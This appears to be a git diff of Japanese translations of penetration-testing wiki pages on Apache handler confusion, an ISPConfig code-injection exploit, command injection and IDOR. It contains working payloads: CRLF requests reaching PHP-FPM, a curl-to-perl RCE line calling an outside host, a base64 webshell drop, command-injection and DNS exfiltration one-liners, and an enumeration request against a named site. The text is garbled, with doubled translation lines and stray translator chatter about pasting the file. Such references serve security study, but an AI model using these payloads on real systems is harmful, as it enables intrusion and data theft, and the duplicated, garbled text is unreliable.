**Local Gadget to LFI**
|
||||
|
||||
- PHP や **JpGraph**、**jQuery-jFeed** などのフロントエンドパッケージがインストールされている場合、それらのファイルを悪用して **/etc/passwd** のような機密ファイルを読み取れる可能性があります:
|
||||
- PHP や **JpGraph**、**jQuery-jFeed** のような特定のフロントエンドパッケージがインストールされている場合、それらのファイルを悪用して **/etc/passwd** のような機密ファイルを読み取ることができます:
|
||||
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
|
||||
- **/usr/share/javascript/jquery-jfeed/proxy.php**
|
||||
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
|
||||
|
||||
**Local Gadget to SSRF**
|
||||
|
||||
- **MagpieRSS** の **magpie_debug.php**(**/usr/share/php/magpierss/scripts/magpie_debug.php**)を利用すると、簡単に SSRF 脆弱性を作り出すことができ、さらなる攻撃への足掛かりになります。
|
||||
- **MagpieRSS's magpie_debug.php**(**/usr/share/php/magpierss/scripts/magpie_debug.php**)を利用すると、簡単に SSRF 脆弱性を作り出せ、さらなる攻撃への足がかりとなります。
|
||||
|
||||
**Local Gadget to RCE**
|
||||
|
||||
- 古い **PHPUnit** や **phpLiteAdmin** のような脆弱なインストールが存在すると、任意のコード実行(Remote Code Execution (RCE))の機会が多く、ローカルガジェットの悪用で広範な攻撃が可能になります。
|
||||
- 古い **PHPUnit** や **phpLiteAdmin** のような脆弱なインストールは、**Remote Code Execution (RCE)** の機会を多数提供し、任意のコード実行に悪用され得ます。ローカルガジェットの操作が持つ広範な潜在力を示しています。
|
||||
|
||||
#### **Jailbreak from Local Gadgets**
|
||||
|
||||
インストールされたソフトウェアがこれらのフォルダ内に作成するシンボリックリンクを辿ることで、許可されたフォルダから jailbreak することも可能です。例:
|
||||
許可されたフォルダ内にある、そこにインストールされたソフトウェアが生成するシンボリックリンクを辿ることで、jailbreak することも可能です。例えば:
|
||||
|
||||
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
|
||||
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
|
||||
@ -186,32 +186,32 @@ Therefore, it would be possible to **abuse files located inside `/usr/share` in
|
||||
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
|
||||
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
|
||||
|
||||
さらに、シンボリックリンクを悪用することで Redmine に対して RCE を得られた事例もあります。
|
||||
さらに、シンボリックリンクを悪用することで **RCE in Redmine.** を得ることが可能でした。
|
||||
|
||||
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
|
||||
この攻撃は `AddHandler` と `AddType` 指令の機能重複を突くもので、どちらも **PHP 処理を有効化** するために使われ得ます。もともとこれらの指令はサーバ内部構造の異なるフィールド(それぞれ `r->handler` と `r->content_type`)に影響を与えていました。しかし、レガシーコードのために、特定の条件下では Apache はこれらの指令を相互に扱い、`r->content_type` が設定され `r->handler` が設定されていない場合に `r->content_type` を `r->handler` に変換します。
|
||||
この攻撃は `AddHandler` と `AddType` ディレクティブの機能重複を突くものです。どちらも **enable PHP processing** に使われ得ます。本来、これらのディレクティブはサーバ内部構造の異なるフィールド(それぞれ `r->handler` と `r->content_type`)に作用します。しかしレガシーコードのため、Apache は特定条件下でこれらを相互に扱い、前者が空で後者が設定されている場合に `r->content_type` を `r->handler` に変換してしまいます。
|
||||
|
||||
さらに、Apache HTTP Server(`server/config.c#L420`)では、`ap_run_handler()` 実行前に `r->handler` が空であれば、サーバは **`r->content_type` を handler として使用** します。これにより `AddType` と `AddHandler` の効果が事実上同一になります。
|
||||
さらに、Apache HTTP Server(`server/config.c#L420`)では、`ap_run_handler()` 実行前に `r->handler` が空であれば、サーバは **`r->content_type` を handler として使用します**。その結果、`AddType` と `AddHandler` は実質的に同等の効果を持ちます。
|
||||
|
||||
#### **Overwrite Handler to Disclose PHP Source Code**
|
||||
|
||||
[**この講演**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) では、クライアントが不正な `Content-Length` を送信すると Apache が誤って **PHP ソースコードを返してしまう** 脆弱性が紹介されました。これは ModSecurity と Apache Portable Runtime (APR) のエラーハンドリングの問題で、二重レスポンスが発生すると `r->content_type` が `text/html` に上書きされるためです。\
|
||||
ModSecurity が戻り値を適切に扱わないため、PHP コードを返し解釈しないという状況が発生しました。
|
||||
In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) では、クライアントが送信した不正な `Content-Length` により Apache が誤って **PHP のソースコードを返してしまう** 脆弱性が紹介されました。これは ModSecurity と Apache Portable Runtime (APR) のエラーハンドリングの問題に起因し、二重レスポンスによって `r->content_type` が `text/html` に上書きされるためです。\
|
||||
ModSecurity が戻り値を適切に処理しないため、PHP コードがそのまま返され、解釈されません。
|
||||
|
||||
#### **Overwrite Handler to XXXX**
|
||||
|
||||
TODO: Orange はこの脆弱性をまだ公開していません
|
||||
TODO: Orange はまだこの脆弱性を公開していません
|
||||
|
||||
### **Invoke Arbitrary Handlers**
|
||||
|
||||
攻撃者がレスポンスの **`Content-Type`** ヘッダを制御できるようになると、任意のモジュールハンドラを **invoke** できるようになります。ただし、その時点までにリクエストの大半は既に処理済みであることが多いです。しかし、`Location` ヘッダを悪用してリクエスト処理を再起動することが可能です。返された `Status` が 200 で `Location` ヘッダが `/` で始まる場合、そのレスポンスは Server-Side Redirection と扱われ再処理されます。
|
||||
攻撃者がサーバ応答の **`Content-Type`** ヘッダを制御できる場合、彼は **invoke arbitrary module handlers** することが可能になります。ただし、その段階までにリクエスト処理の多くは既に実行されてしまっています。しかし、`Location` ヘッダを悪用してリクエスト処理を再起動することが可能です。なぜなら、**r**eturned `Status` が 200 で `Location` ヘッダが `/` で始まる場合、その応答はサーバサイドリダイレクトとして扱われ再処理されるからです。
|
||||
|
||||
RFC 3875(CGI に関する仕様)の [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) は Local Redirect Response の振る舞いを定義しています:
|
||||
RFC 3875(CGI に関する仕様)によれば、[Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) は Local Redirect Response の挙動を次のように定義しています:
|
||||
|
||||
> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
|
||||
> CGI スクリプトは Location ヘッダフィールドでローカルリソースの URI パスとクエリ文字列('local-pathquery')を返すことができます。これはサーバに対して、指定されたパスを使用してリクエストを再処理すべきことを示します。
|
||||
|
||||
したがって、この攻撃を行うには次のいずれかの脆弱性が必要です:
|
||||
したがって、この攻撃を実行するには次のうちいずれかの脆弱性が必要です:
|
||||
|
||||
- CRLF Injection in the CGI response headers
|
||||
- SSRF with complete control of the response headers
|
||||
@ -225,16 +225,16 @@ SetHandler server-status
|
||||
Require local
|
||||
</Location>
|
||||
```
|
||||
`Content-Type` を `server-status` に設定し、Location ヘッダを `/` で始まるようにするとアクセスできます
|
||||
`Content-Type` を `server-status` に設定し、`Location` ヘッダーを `/` で始まる値にするとアクセス可能です。
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:server-status %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **Arbitrary Handler to Full SSRF**
|
||||
#### **任意の Handler から Full SSRF へ**
|
||||
|
||||
任意のプロトコルや任意のURLにアクセスするために `mod_proxy` にリダイレクトする:
|
||||
`mod_proxy` にリダイレクトして、任意の URL 上の任意のプロトコルにアクセスする:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
@ -243,11 +243,11 @@ http://example.com/%3F
|
||||
%0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
しかし、`X-Forwarded-For` ヘッダが追加されているため、クラウドメタデータエンドポイントへのアクセスがブロックされます。
|
||||
しかし、`X-Forwarded-For` ヘッダーが追加されており、クラウドのメタデータエンドポイントへのアクセスが妨げられています。
|
||||
|
||||
#### **ローカル Unix Domain Socket にアクセスする任意のハンドラ**
|
||||
#### **ローカル Unix ドメインソケットにアクセスする任意のハンドラ**
|
||||
|
||||
PHP-FPM のローカル Unix Domain Socket にアクセスして `/tmp/` にある PHP backdoor を実行します:
|
||||
PHP-FPM のローカル Unix ドメインソケットにアクセスして、`/tmp/` にある PHP backdoor を実行する:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0
|
||||
```
|
||||
#### **Arbitrary Handler to RCE**
|
||||
|
||||
公式の [PHP Docker](https://hub.docker.com/_/php) イメージには PEAR (`Pearcmd.php`) が含まれており、これはコマンドラインの PHP パッケージ管理ツールで、悪用すると RCE を取得できます:
|
||||
公式の [PHP Docker](https://hub.docker.com/_/php) イメージには PEAR (`Pearcmd.php`) が含まれており、コマンドラインの PHP パッケージ管理ツールで、RCE を取得するために悪用できます:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
|
||||
@ -265,7 +265,7 @@ orange.tw/x|perl
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
この手法の詳細については、[**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)(著者:[Phith0n](https://x.com/phithon_xg))を参照してください。
|
||||
この手法の詳細は、[**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)([Phith0n](https://x.com/phithon_xg)による)を参照してください。
|
||||
|
||||
## 参考資料
|
||||
|
||||
|
@ -4,36 +4,36 @@
|
||||
|
||||
## 概要
|
||||
|
||||
ISPConfig はオープンソースのホスティングコントロールパネルです。古い 3.2.x ビルドには言語ファイルエディタ機能があり、これがスーパー管理者に対して有効になっていると、不正に構成された翻訳レコードを介して任意の PHP コード注入が可能でした。これは web サーバーコンテキストでの RCE を引き起こす可能性があり、PHP の実行方法によっては権限昇格につながることがあります。
|
||||
ISPConfigはオープンソースのホスティングコントロールパネルです。古い3.2.xのビルドには言語ファイル編集機能が含まれており、super administratorに対して有効になっていると、不正な翻訳レコードを介して任意のPHPコードを注入できました。これはweb serverコンテキストでRCEを引き起こし得、PHPの実行方法によってはprivilege escalationにつながる場合があります。
|
||||
|
||||
主要なデフォルトパス:
|
||||
- Web ルートは `php -S` で提供されている場合や Apache/nginx 経由の場合、しばしば `/var/www/ispconfig` にあります。
|
||||
- 管理 UI は HTTP(S) vhost 上で到達可能です(場合によっては localhost のみにバインドされていることがあります;必要なら SSH ポートフォワードを使用してください)。
|
||||
主なデフォルトパス:
|
||||
- Web rootは`php -S`で提供される場合やApache/nginx経由の場合、`/var/www/ispconfig`にあることが多い。
|
||||
- Admin UIはHTTP(S) vhost上でアクセス可能です(場合によってはlocalhostのみにバインドされていることがあるため、必要に応じてSSH port-forwardを使用してください)。
|
||||
|
||||
ヒント: パネルがローカルにバインドされている場合(例: `127.0.0.1:8080`)、転送してください:
|
||||
Tip: パネルがローカルにバインドされている場合(例:`127.0.0.1:8080`)、ポートフォワードしてください:
|
||||
```bash
|
||||
ssh -L 9001:127.0.0.1:8080 user@target
|
||||
# then browse http://127.0.0.1:9001
|
||||
```
|
||||
## 言語エディタ PHP code injection (CVE-2023-46818)
|
||||
|
||||
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||||
- Preconditions:
|
||||
- 組み込みの superadmin アカウント `admin` でログインする(ベンダーによれば他のロールは影響を受けない)
|
||||
- 言語エディタを有効にする必要がある: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- Impact: 認証済みの admin は任意の PHP を注入でき、それが言語ファイルに書き込まれてアプリケーションによって実行され、web コンテキストで RCE を達成する
|
||||
- 影響を受ける: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
|
||||
- 前提条件:
|
||||
- 組み込みの superadmin アカウント `admin` でログイン(ベンダーによれば他のロールには影響なし)
|
||||
- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
|
||||
- 影響: 認証済みの admin が任意の PHP を注入し、それが言語ファイルに書き込まれてアプリケーションによって実行されることで、web コンテキストでの RCE を達成できる
|
||||
|
||||
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
|
||||
|
||||
### 手動でのエクスプロイト手順
|
||||
### 手動での悪用フロー
|
||||
|
||||
1) 言語ファイルを開く/作成して CSRF トークンを取得する
|
||||
1) CSRF トークンを取得するために言語ファイルを開く/作成する
|
||||
|
||||
最初の POST を送信してフォームを初期化し、HTML レスポンスから CSRF フィールド(`csrf_id`, `csrf_key`)を解析する。例: `/admin/language_edit.php`.
|
||||
最初の POST を送信してフォームを初期化し、HTML レスポンスから CSRF フィールド(`csrf_id`, `csrf_key`)をパースする。例のリクエストパス: `/admin/language_edit.php`.
|
||||
|
||||
2) Inject PHP via records[] and save
|
||||
2) records[] を通じて PHP を注入して保存する
|
||||
|
||||
CSRF フィールドと悪意ある翻訳レコードを含む 2 回目の POST を送信する。最小限のコマンド実行プローブ:
|
||||
CSRF フィールドと悪意のある翻訳レコードを含む 2 回目の POST を送信する。最小限のコマンド実行プローブ:
|
||||
```http
|
||||
POST /admin/language_edit.php HTTP/1.1
|
||||
Host: 127.0.0.1:9001
|
||||
@ -42,46 +42,46 @@ Cookie: ispconfig_auth=...
|
||||
|
||||
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
|
||||
```
|
||||
アウトオブバンドテスト(ICMPの観測):
|
||||
アウト・オブ・バンド テスト(ICMPを監視):
|
||||
```http
|
||||
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
|
||||
```
|
||||
3) ファイルを書き込み、webshellを配置する
|
||||
|
||||
`file_put_contents` を使って、ウェブから到達可能なパス(例: `admin/`)にファイルを作成する:
|
||||
`file_put_contents`を使用して、webから到達可能なパス(例:`admin/`)の下にファイルを作成します:
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
|
||||
```
|
||||
次に、POSTボディ内の不正な文字を回避するためにbase64を使用したシンプルなwebshellを書きます:
|
||||
次に、POSTボディ内の不正な文字を回避するために base64 を使ったシンプルな webshell を書きます:
|
||||
```http
|
||||
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
|
||||
```
|
||||
src/network-services-pentesting/pentesting-web/ispconfig.md の内容を貼ってください。翻訳して返します。
|
||||
ファイルの内容が見えません。翻訳したい src/network-services-pentesting/pentesting-web/ispconfig.md のマークダウン本文をここに貼ってください。タグ、リンク、パス、コードはそのまま保持して翻訳します。
|
||||
```bash
|
||||
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
|
||||
```
|
||||
PHPがrootとして実行されている場合(例: rootによって起動された `php -S 127.0.0.1:8080` のように)、直ちにroot RCEが得られます。そうでない場合は、webサーバーのユーザー権限でコード実行が可能になります。
|
||||
もし PHP が root として実行されている場合(例: root によって起動された `php -S 127.0.0.1:8080` のように)、即座に root RCE が発生します。そうでない場合は、web サーバーのユーザーとしてコード実行を得ます。
|
||||
|
||||
### Python PoC
|
||||
|
||||
そのまま使えるexploitはtokenの処理とpayloadの配信を自動化します:
|
||||
すぐに使える exploit は token の処理と payload の配信を自動化します:
|
||||
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
|
||||
|
||||
実行例:
|
||||
```bash
|
||||
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
|
||||
```
|
||||
### ハードニング
|
||||
### Hardening
|
||||
|
||||
- 3.2.11p1以降にアップグレードする
|
||||
- 言語エディタは厳密に必要でない限り無効にする:
|
||||
- 言語エディターは厳密に必要でない限り無効にする:
|
||||
```
|
||||
admin_allow_langedit=no
|
||||
```
|
||||
- パネルをrootで実行しない; PHP-FPMまたはwebサーバーを設定して特権を落とす
|
||||
- 組み込みの `admin` アカウントに対して強力な認証を要求する
|
||||
- 管理パネルをrootで実行しないでください。PHP-FPMまたはwebサーバーを設定して権限を下げるようにしてください
|
||||
- 組み込みの `admin` アカウントに対して強力な認証を適用する
|
||||
|
||||
## 参考
|
||||
## 参考資料
|
||||
|
||||
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
|
||||
- [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## command Injectionとは何ですか?
|
||||
## command Injectionとは何か?
|
||||
|
||||
A **command injection** は、アプリケーションをホストしているサーバ上で攻撃者が任意のOSコマンドを実行できるようにする脆弱性です。その結果、アプリケーションおよびその全データが完全に乗っ取られる可能性があります。これらのコマンドの実行により、攻撃者は通常、アプリケーションの環境や基盤となるシステムに対して不正なアクセスや制御を取得できます。
|
||||
A **command injection**により、攻撃者はアプリケーションをホストしているサーバ上で任意のOSコマンドを実行できます。その結果、アプリケーションとその全データが完全に侵害される可能性があります。これらのコマンドの実行により、攻撃者はアプリケーションの環境や基盤となるシステムへの不正アクセスや制御を得ることが一般的に可能になります。
|
||||
|
||||
### コンテキスト
|
||||
|
||||
入力が**どこに挿入されているか**によっては、コマンドの実行前に**引用されたコンテキストを終了する**(`"` または `'` を使用)必要があるかもしれません。
|
||||
**入力がどこに挿入されているか**によって、コマンドの前に**クォートされたコンテキストを終了する**(`"` や `'` を使って)必要がある場合があります。
|
||||
|
||||
## Command Injection/Execution
|
||||
```bash
|
||||
@ -30,9 +30,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Limition** Bypasses
|
||||
### **Limition** バイパス
|
||||
|
||||
もし **linux マシン内で任意のコマンドを実行しようとしている** 場合、これらの **Bypasses:** を読むと参考になります。
|
||||
もし **linux マシン内で任意のコマンド** を実行しようとしているなら、これらの**バイパス**を読むと興味があるでしょう:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### パラメータ
|
||||
|
||||
以下は code injection や同様の RCE 脆弱性の対象となり得る上位25のパラメータです(出典: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
以下は code injection や類似の RCE 脆弱性の影響を受ける可能性がある上位25のパラメータです(出典: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
@ -77,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
||||
```
|
||||
### Time based data exfiltration
|
||||
|
||||
データ抽出: charごとに
|
||||
データ抽出:1文字ずつ
|
||||
```
|
||||
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
real 0m5.007s
|
||||
@ -89,9 +89,9 @@ real 0m0.002s
|
||||
user 0m0.000s
|
||||
sys 0m0.000s
|
||||
```
|
||||
### DNS based data exfiltration
|
||||
### DNS による data exfiltration
|
||||
|
||||
`https://github.com/HoLyVieR/dnsbin` のツールに基づいており、dnsbin.zhack.ca にもホストされています。
|
||||
ツール `https://github.com/HoLyVieR/dnsbin` をベースにしており、dnsbin.zhack.ca にもホストされています。
|
||||
```
|
||||
1. Go to http://dnsbin.zhack.ca/
|
||||
2. Execute a simple 'ls'
|
||||
@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
DNS based data exfiltration を確認するためのオンラインツール:
|
||||
DNS based data exfiltration をチェックするオンラインツール:
|
||||
|
||||
- dnsbin.zhack.ca
|
||||
- pingb.in
|
||||
@ -120,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad
|
||||
../linux-hardening/bypass-bash-restrictions/
|
||||
{{#endref}}
|
||||
|
||||
### Node.js `child_process.exec` vs `execFile`
|
||||
### Node.js `child_process.exec` と `execFile`
|
||||
|
||||
JavaScript/TypeScriptのバックエンドを監査する際、Node.jsの`child_process` APIにしばしば遭遇します。
|
||||
JavaScript/TypeScript のバックエンドを監査する際、Node.js の `child_process` API をよく目にします。
|
||||
```javascript
|
||||
// Vulnerable: user-controlled variables interpolated inside a template string
|
||||
const { exec } = require('child_process');
|
||||
@ -130,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
|
||||
/* … */
|
||||
});
|
||||
```
|
||||
`exec()` は **shell** (`/bin/sh -c`) を起動するため、shell に特別な意味を持つ文字(バックティック, `;`, `&&`, `|`, `$()`, …)がユーザー入力を文字列に連結した際に **command injection** を引き起こします。
|
||||
`exec()` は **shell** (`/bin/sh -c`) を起動するため、**shell** に特別な意味を持つ文字(バッククォート、`;`、`&&`、`|`、`$()`、…)がユーザー入力を文字列に連結した際に **command injection** を引き起こします。
|
||||
|
||||
**緩和策:** `execFile()` を使用する(または `shell` オプションなしで `spawn()` を使用)し、**各引数を別々の配列要素として渡す**ことで shell が介在しないようにする:
|
||||
**緩和策:** `execFile()` を使用する(または `spawn()` を `shell` オプションなしで使用)し、**各引数を配列の別要素として渡す**ことで **shell** を介さないようにする:
|
||||
```javascript
|
||||
const { execFile } = require('child_process');
|
||||
execFile('/usr/bin/do-something', [
|
||||
@ -140,7 +140,7 @@ execFile('/usr/bin/do-something', [
|
||||
'--payload', JSON.stringify(payload)
|
||||
]);
|
||||
```
|
||||
実際の事例: *Synology Photos* ≤ 1.7.0-0794 は、認証不要の WebSocket イベントを介して攻撃者が制御するデータが `id_user` に配置され、それが後に `exec()` 呼び出しに埋め込まれて RCE を達成しました (Pwn2Own Ireland 2024).
|
||||
Real-world case: *Synology Photos* ≤ 1.7.0-0794 は、認証不要の WebSocket イベントを介して攻撃者が制御するデータが `id_user` に配置され、その後 `exec()` 呼び出しに埋め込まれて RCE を達成しました(Pwn2Own Ireland 2024)。
|
||||
|
||||
## Brute-Force 検出リスト
|
||||
|
||||
|
@ -2,23 +2,22 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、web または API endpoint がユーザー制御可能な識別子を公開または受け入れ、その識別子が内部オブジェクトに**直接**アクセスするために使用される一方で、呼び出し元がそのオブジェクトにアクセス/変更する権限を持っているかどうかを**検証していない**場合に発生します。
|
||||
悪用に成功すると、通常は他ユーザーのデータを読み取ったり変更したりする横方向または縦方向の権限昇格を許し、最悪の場合はアカウントの完全な乗っ取りや大量のデータ持ち出しにつながります。
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、web や API エンドポイントがユーザ制御可能な識別子を公開または受け取り、その識別子を使って内部オブジェクトへ**直接**アクセスし、呼び出し元がそのオブジェクトへアクセス/変更する権限を持っているかを**検証していない**場合に発生します。成功した場合、他ユーザのデータの読み取りや変更といった水平/垂直な権限昇格、最悪の場合はアカウント完全乗っ取りや大量データの流出を招くことがあります。
|
||||
|
||||
---
|
||||
## 1. 潜在的なIDORの特定
|
||||
|
||||
1. オブジェクトを参照するパラメータを探す:
|
||||
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Query: `?id=42`, `?invoice=2024-00001`
|
||||
* Body / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Headers / Cookies: `X-Client-ID: 4711`
|
||||
2. データを読み取るまたは更新するエンドポイントを優先する(`GET`, `PUT`, `PATCH`, `DELETE`)。
|
||||
3. 識別子が連番または予測可能かどうかを確認する — もしあなたのIDが `64185742` なら、`64185741` はおそらく存在する。
|
||||
4. 追加のAPIを露出している可能性のある隠れたまたは別のフロー(例:ログインページの「Paradox team members」リンク)を探索する。
|
||||
5. 認証済みの低権限セッションを使用し、同じ token/cookie を保持したままIDだけを変更する。認可エラーが発生しない場合は通常IDORの兆候である。
|
||||
1. **オブジェクトを参照するパラメータ**を探す:
|
||||
* パス: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* クエリ: `?id=42`, `?invoice=2024-00001`
|
||||
* 本文 / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* ヘッダ / Cookie: `X-Client-ID: 4711`
|
||||
2. データを**読み取るまたは更新する**エンドポイント(`GET`, `PUT`, `PATCH`, `DELETE`)を優先する。
|
||||
3. 識別子が**連続的または予測可能**かを確認する — あなたの ID が `64185742` なら `64185741` が存在する可能性が高い。
|
||||
4. 隠れたまたは代替のフロー(例: *"Paradox team members"* リンクがログインページにあるなど)を調べ、追加の API が露出していないか確認する。
|
||||
5. 権限の低い**認証済みセッション**を使い、ID のみを変更して**同じ token/cookie を保持**する。認可エラーが返ってこない場合、通常は IDOR の兆候である。
|
||||
|
||||
### Quick manual tampering (Burp Repeater)
|
||||
### 簡単な手動改ざん (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
@ -40,55 +39,55 @@ done
|
||||
|
||||
### Error-response oracle for user/file enumeration
|
||||
|
||||
ダウンロードエンドポイントが username と filename の両方を受け取る場合(例: `/view.php?username=<u>&file=<f>`)、エラーメッセージの微妙な違いによってしばしば oracle が生じます:
|
||||
ダウンロード用のエンドポイントが username と filename の両方を受け取る場合(例: `/view.php?username=<u>&file=<f>`)、エラーメッセージのわずかな違いがしばしば oracle を生みます:
|
||||
|
||||
- 存在しない username → "User not found"
|
||||
- ファイル名が不正だが拡張子は有効 → "File does not exist"(場合によっては利用可能なファイルを一覧表示する)
|
||||
- 拡張子が不正 → バリデーションエラー
|
||||
- Non-existent username → "User not found"
|
||||
- Bad filename but valid extension → "File does not exist" (sometimes also lists available files)
|
||||
- Bad extension → validation error
|
||||
|
||||
認証済みセッションがあれば、無害なファイル名を固定して username パラメータをファジングし、"user not found" 文字列でフィルタすることで有効なユーザを特定できます:
|
||||
認証済みの任意のセッションを使い、無害な filename を固定して username パラメータを fuzz し、"user not found" 文字列でフィルタリングすることで有効なユーザーを発見できます:
|
||||
```bash
|
||||
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
|
||||
-b 'PHPSESSID=<session-cookie>' \
|
||||
-w /opt/SecLists/Usernames/Names/names.txt \
|
||||
-fr 'User not found'
|
||||
```
|
||||
有効なユーザー名が判明したら、特定のファイルを直接要求します(例: `/view.php?username=amanda&file=privacy.odt`)。このパターンは、他のユーザーのドキュメントの無断開示やcredential leakageにつながることが多い。
|
||||
有効なユーザー名が特定されたら、特定のファイルを直接リクエストします(例: `/view.php?username=amanda&file=privacy.odt`)。このパターンは、他ユーザーのドキュメントの不正な開示や credential leakage を引き起こすことがよくあります。
|
||||
|
||||
---
|
||||
## 2. 実際の事例 – McHire チャットボットプラットフォーム (2025)
|
||||
## 2. 実際のケーススタディ – McHire Chatbot Platform (2025)
|
||||
|
||||
Paradox.aiにより提供される**McHire**採用ポータルの評価中に、以下のIDORが発見されました:
|
||||
Paradox.ai によって動く **McHire** 採用ポータルの評価中に、次の IDOR が発見されました:
|
||||
|
||||
* エンドポイント: `PUT /api/lead/cem-xhr`
|
||||
* Authorization: **任意** のレストランのテストアカウント用ユーザーセッションcookie
|
||||
* ボディパラメータ: `{"lead_id": N}` – 8桁の、**連番**の数値識別子
|
||||
* Endpoint: `PUT /api/lead/cem-xhr`
|
||||
* Authorization: user session cookie for **any** restaurant test account
|
||||
* Body parameter: `{"lead_id": N}` – 8-digit, **sequential** numeric identifier
|
||||
|
||||
`lead_id` を減らすことで、テスターは任意の応募者の **full PII**(名前、メール、電話、住所、シフト希望)と、セッションハイジャックを可能にする消費者用 **JWT** を取得しました。範囲 `1 – 64,185,742` を列挙したところ、およそ**6400万**件のレコードが露出しました。
|
||||
`lead_id` を減少させることで、テスターは任意の応募者の **full PII**(name, e-mail, phone, address, shift preferences)および session hijacking を可能にした consumer **JWT** を取得しました。範囲 `1 – 64,185,742` を列挙した結果、約 **64 million** 件のレコードが露出しました。
|
||||
|
||||
Proof-of-Concept request:
|
||||
概念実証リクエスト:
|
||||
```bash
|
||||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
|
||||
テストアカウントへのアクセスを許可する**デフォルト管理者資格情報**(`123456:123456`)と組み合わさり、この脆弱性は重大な企業全体のデータ漏洩を引き起こしました。
|
||||
|
